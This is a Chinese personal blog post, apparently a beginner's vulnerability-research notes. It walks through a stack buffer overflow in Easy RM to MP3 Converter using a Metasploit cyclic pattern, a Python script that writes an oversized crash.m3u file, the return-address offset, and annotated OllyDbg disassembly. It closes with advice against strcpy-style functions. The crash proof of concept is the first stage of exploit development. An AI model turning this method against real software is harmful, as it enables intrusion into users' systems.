看了<>这本书, 在开始入手之前有一个缓冲区溢出的实例, 不过我感觉那个溢出实例不够接近实战.. 刚好看雪有一篇<> 网上也有一哥们做实验.我也写个分析文章. 算是第一篇漏洞挖掘手记.

http://blog.csdn.net/yuzl32/article/details/6126592

这个程序有一个缓冲区溢出漏洞, 我也写篇文章, 代表下正式进入学习漏洞挖掘的行列.

殊不知, 漏洞挖掘现在也是有一系列专门定制的工具, 使用这些工具, 就可以使一个不懂汇编, 甚至不懂编程的人, 也可以找几个漏洞玩玩. 不过我觉得工具毕竟是工具, 有好的工具当然可以使用,但是如果只会用工具就麻烦了..

不多说, 前面那篇博客基本上已经把漏洞的各方面都讲到了. 我再说意义也不大. 我就从二进制层面看看这个漏洞产生的原因. 我就不多说了. 首先用metasploit 生成5000BYTE的数据, 用于定位异常的位置

ruby C:\metasploit\apps\pro\msf3\tools\pattern_create.rb 5000

copy, 保存成pattern.txt. 然后写一段python代码. python干活很快..用python写几行代码, 估计用C要即使行. 就是快.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
FileName = "crash.m3u"
FilePattern = "pattern.txt"

f = open( FileName, 'w' )
fp = open( FilePattern, 'r' )

for i in range( 0, 15000 ):
    f.write( "A" )

Buffer = fp.read()
f.write( Buffer )

fp.close()
f.close()

这段代码会在当前目录下生成一个crash.m3u文件. 然后用Easy RM to MP3 Converter打开. 结果程序崩溃. 崩溃好啊. 崩溃就意味着有bug. 有bug就意味着可能有漏洞. 用metasploit看看崩溃的偏移.

ruby C:\metasploit\apps\pro\msf3\tools\pattern_offset.rb 0x306c4239 5000

用OllyDbg打开Easy RM to MP3 Converter下个条件断点.

bp CreateFileA,[STRING[esp+4]]==“c:\\crash.m3u”

如果是UNICODE,就用bp CreateFileW,[UNICODE[ESP+4]]==“c:\\crash.m3u”

因为我的文件放在C盘. 所以是c:\crash.m3u. 程序跑起来, 结果断点断在了调用fopen的地方. 然后跟一下. 发现下面这个函数里面崩溃.

 

1
2
3
4
5
6
0041BCF3  |.  E8 38D0FFFF   call    00418D30
0041BCF8  |.  55            push    ebp
0041BCF9  |.  8BCB          mov     ecx, ebx
0041BCFB  |.  E8 B0250000   call    0041E2B0                         ;  这个函数崩溃
0041BD00  |.  5F            pop     edi
0041BD01  |.  5E            pop     esi

跟进去分析分析. 定位到了..

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
0041E3D5  |.  C2 0400       retn    4
0041E3D8  |>  B9 80080000   mov     ecx, 880                                                ;  这是Buffer大小880*4 = 0x2200 BYTE
0041E3DD  |.  33C0          xor     eax, eax
0041E3DF  |.  8DBC24 286700>lea     edi, dword ptr \[esp+6728\]                               ;  这是Buffer开始地址000FD528
0041E3E6  |.  F3:AB         rep     stos dword ptr es:\[edi\]
0041E3E8  |.  8D8C24 282300>lea     ecx, dword ptr \[esp+2328\]
0041E3EF  |.  51            push    ecx                                                     ;  00DB8D40
0041E3F0  |.  FF93 72640000 call    dword ptr \[ebx+6472\]                                    ;  这里面读取的数据越界了,
0041E3F6  |.  83C4 04       add     esp, 4                                                  ;  覆盖了000FD528 + 880 * 4
0041E3F9  |.  85C0          test    eax, eax
0041E3FB  |.  0F84 D1050000 je      0041E9D2
0041E401  |>  BF B4734400   /mov     edi, 004473B4                                          ;  ASCII "PNM"
0041E406  |.  83C9 FF       |or      ecx, FFFFFFFF

就是0041E3F0的call dword ptr [ebx+6472] 里面代码出问题了.. 这边开的Buffer是0x880*4=0x2200.. 结果我们的文件用30000个字节, 给撑爆了. 覆盖了返回地址..典型的缓冲区溢出漏洞..

具体的在OllyDbg和IDA里面的分析流程我就不贴了. 这个只是个人经验. 谈到这个缓冲区溢出的我就想多说两句. 我也想问我自己, 我原来写的代码有没有这种漏洞呢? 肯定有, strcpy的时候不考虑缓冲区长度. strcpy考虑了长度还有文件读取什么的. 写出来的代码没有出错. 只是因为没有用这个无效数据进行输入.拿几个无效数据试试, 才发现写的程序是那么的脆弱.

缓冲区溢出的漏洞, 是最好用的一种漏洞.这种漏洞的产生也不应该, 大部分都是写代码粗心照成的. 当然隐藏很深的除外了.. 那么以后写代码的时候, 这一类的函数就千万不要用了lstrcpy, lstrcat, strcat, strcpy.等等, 当然有这一类的函数也预示着可能有漏洞利用的可能. 另外文件读取进来分析的时候也不要想当然.. 不少bug都是在解析字符串. 解析文件出现的.. 也标志着不少的漏洞..

当然. 漏洞挖掘的路, 任重而道远. 走出第一步…